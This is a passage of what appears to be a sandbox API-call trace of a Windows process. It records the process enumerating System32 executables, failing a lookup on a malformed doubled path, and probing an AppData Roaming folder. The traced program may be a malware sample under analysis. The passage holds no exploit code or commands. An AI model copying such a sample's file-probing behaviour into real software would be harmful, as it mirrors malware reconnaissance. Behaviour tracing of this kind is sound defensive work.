[0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16656c0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc16656c0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d35e70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="fvenotify.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc15cd14c, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc15cd14c, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d5cf70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1a200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="fveprompt.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e2a321, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1e2a321, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1e2a321, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="FXSCOVER.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6841069, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6841069, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb68671ca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa8400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="FXSSVC.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb688d32a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb688d32a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb688d32a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="FXSUNATD.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6488e076, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6488e076, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="getmac.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7681298b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7681298b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="GettingStarted.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4782ff85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x4782ff85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28c00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="gpresult.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c074bde, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3c074bde, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="gpscript.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e45c85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x49e45c85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe32b6980, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="gpupdate.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b548d16, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7b548d16, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3329570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="grpconv.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb4609c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb4609c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe340ed50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="hdwwiz.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe36230f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="help.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83f15891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x83f15891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3943d70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="HOSTNAME.EXE", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x589b8874, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x589b8874, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3968760, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="hwrcomp.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d5f74d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x57d5f74d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3a02450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="hwrreg.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c16bb3f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c16bb3f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="icacls.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae7063de, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xae7063de, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x55f5cb7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x151140, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="icardagt.exe", cAlternateFileName="")) returned 1 [0030.409] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3989fb97, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x3989fb97, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="icsunattend.exe", cAlternateFileName="")) returned 1 [0030.409] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd953427f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd953427f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3bcad00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="ie4uinit.exe", cAlternateFileName="")) returned 1 [0030.409] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99f6e1f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd99f6e1f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3d6ebc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x29c00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="ieUnatt.exe", cAlternateFileName="")) returned 1 [0030.409] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0e6af5d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd0e6af5d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3f5be60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="iexpress.exe", cAlternateFileName="")) returned 1 [0030.409] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6198f6b9, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6198f6b9, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe4230ff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="InfDefaultInstall.exe", cAlternateFileName="")) returned 1 [0030.409] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a21ae5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x89a21ae5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe460dc40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="ipconfig.exe", cAlternateFileName="")) returned 1 [0030.409] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53df1067, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x53df1067, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe465be40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="irftp.exe", cAlternateFileName="")) returned 1 [0030.409] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ea0f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x870ea0f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x870ea0f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="iscsicli.exe", cAlternateFileName="")) returned 1 [0030.409] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x396bec02, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x396bec02, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe46f3420, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="iscsicpl.exe", cAlternateFileName="")) returned 1 [0030.409] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa7065be1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="isoburn.exe", cAlternateFileName="")) returned 1 [0030.409] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b15b2d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc1b15b2d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0030.427] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d23879, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc5d23879, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="ksetup.exe", cAlternateFileName="")) returned 1 [0030.427] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1459e2, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c1459e2, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe509ed80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="ktmutil.exe", cAlternateFileName="")) returned 1 [0030.427] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe509ed80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="label.exe", cAlternateFileName="")) returned 1 [0030.427] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fbb1543, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x1fbb1543, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="LocationNotifications.exe", cAlternateFileName="")) returned 1 [0030.427] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="Locator.exe", cAlternateFileName="")) returned 1 [0030.427] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83d2773, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x83d2773, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe5c12f90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="lodctr.exe", cAlternateFileName="")) returned 1 [0030.427] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52359975, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x52359975, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe5c85b80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ba00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="logagent.exe", cAlternateFileName="")) returned 1 [0030.427] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ce93f1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84ce93f1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84d0f551, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="logman.exe", cAlternateFileName="")) returned 1 [0030.427] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2baa022, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2baa022, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2bd0183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="logoff.exe", cAlternateFileName="")) returned 1 [0030.427] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f930d6e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f930d6e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f956ece, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="LogonUI.exe", cAlternateFileName="")) returned 1 [0030.427] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f611088, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f611088, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6371e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9f800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="lpksetup.exe", cAlternateFileName="")) returned 1 [0030.427] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a2b8b4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x93a2b8b4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5e99f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="lpremove.exe", cAlternateFileName="")) returned 1 [0030.428] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917ee720, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x917ee720, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe5e99f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="lsass.exe", cAlternateFileName="")) returned 1 [0030.428] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8646ad5c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8646ad5c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86490ebc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53c00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="lsm.exe", cAlternateFileName="")) returned 1 [0030.428] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc26f3e1f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc26f3e1f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe63cef40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9f600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="Magnify.exe", cAlternateFileName="")) returned 1 [0030.428] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0030.428] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38ea60 [0030.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0030.428] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0030.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\C:\\Windows\\system32\\Magnify.exe" (normalized: "c:\\windows\\system32\\c:\\windows\\system32\\magnify.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fc6c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0030.428] GetLastError () returned 0x7b [0030.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38ea60) returned 1 [0030.428] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92d18 [0030.428] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d92d18) returned 1 [0030.428] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscan~1"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x48, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x1d92d18, ftLastAccessTime.dwHighDateTime=0x40a79c, 